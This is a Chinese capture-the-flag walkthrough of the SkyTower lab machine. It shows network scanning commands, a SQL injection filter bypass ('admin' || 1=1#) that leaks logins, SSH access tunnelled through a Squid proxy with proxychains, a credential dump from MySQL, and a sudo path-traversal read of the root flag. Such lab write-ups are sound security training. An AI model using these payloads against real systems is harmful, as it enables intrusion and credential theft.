一、探测靶机IP(进行信息收集)
arp-scan -l
nmap -sS -sV -T5 -p- 192.168.10.12 -A
nikto -h http://192.168.10.12
dirb http://192.168.10.12
dirsearch -u http://192.168.10.12
二、sql注入绕过
先尝试admin admin
在添加了一个单引号发现报错
admin# admin,#没报错
再尝试' or 1=1#,发现报错,返回'11#',将or和=都过滤掉了
尝试使用||代替or, admin' || 1=1#
成功得到一组账号密码:john hereisjohn 邮箱为[email protected]
三、getshell
尝试登录发现登不上,22端口ssh服务被过滤了
nmap
显示端口状态为 filtered:表示防火墙/网络设备拦截了探测包(如丢包或返回虚假响应)。
有可能用到端口敲门,但是这里并没有什么信息
3128****端口是 Squid代理服务器 的默认端口,用于HTTP/HTTPS流量的转发和缓存。
ProxyChains 的核心功能
-
代理链(Proxy Chaining):支持通过多个代理服务器(如
HTTP
、SOCKS4
、SOCKS5
)串联转发流量。 -
动态切换代理:可配置动态代理链(自动切换代理路径)或静态代理链(固定路径)。
-
透明代理:对应用程序无感(无需修改应用代码),通过
LD_PRELOAD
技术劫持网络库调用
Squid代理简介: Squid 是一款广泛使用的开源HTTP代理和缓存服务器,常用于加速Web请求、过滤内容或控制网络访问。
直接去连接ssh是会被过滤,这里3128端口可能是ssh的代理端口,所以我们尝试配置一个链接指向Squid代理服务器去向ssh服务器请求,这是大概率就不会被拦截了,代理服务器是和ssh在同一网段的,处于同一个内网环境,一开始的数据是由kali去发,现在是通过Squid代理服务器转发
sudo vim /etc/proxychains4.conf #翻到最下面
http 192.168.10.12 3128
proxychains ssh [email protected] -t "/bin/sh"
proxychains
-
作用:强制让后续命令的流量通过代理服务器转发(如 HTTP/SOCKS 代理)。
-
场景:当目标服务器(如
192.168.10.12
)无法直接访问(例如存在防火墙限制),需要通过代理跳转时使用。 -
依赖:需要提前在
proxychains.conf
配置文件中定义代理服务器的地址和类型(例如socks5
或http
)。 -
-t
参数:SSH 的-t
表示 "强制分配伪终端(pseudo-TTY)"。这是为了确保交互式命令(如 Shell)能正常工作。
这里报错是因为我以前使用过192.168.10.12的ip
清理以前192.168.10.12的条目
ssh-keygen -f "/root/.ssh/known_hosts" -R "192.168.10.12"
确认 /root/.ssh/known_hosts
中无残留条目
再次尝试,登录成功
proxychains ssh [email protected] -t "/bin/sh"
由于为阿帕奇服务,默认根目录为var/www/,可以看到mysql的密码和账号为root root
mysql -u root -p
show databases;
use SkyTech
select * from login;
四、提权
得到两个新的用户和密码
[email protected] ihatethisjob
[email protected] senseable
发现第二个不能登录,密码有误,只有第一个可以登
proxychains ssh [email protected] -t "/bin/sh"
尝试sudo提权,发现可以以 root
身份无密码查看 /accounts/
目录下所有文件的内容,可以以 root
身份查看/accounts/
目录下的文件列表
sudo ls /accounts/../root/
sudo cat /accounts/../root/flag.txt
查看flag.txt发现root密码
Theskytower
提权成功
原文始发于微信公众号(泷羽Sec-临观):打靶日记 skytower
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论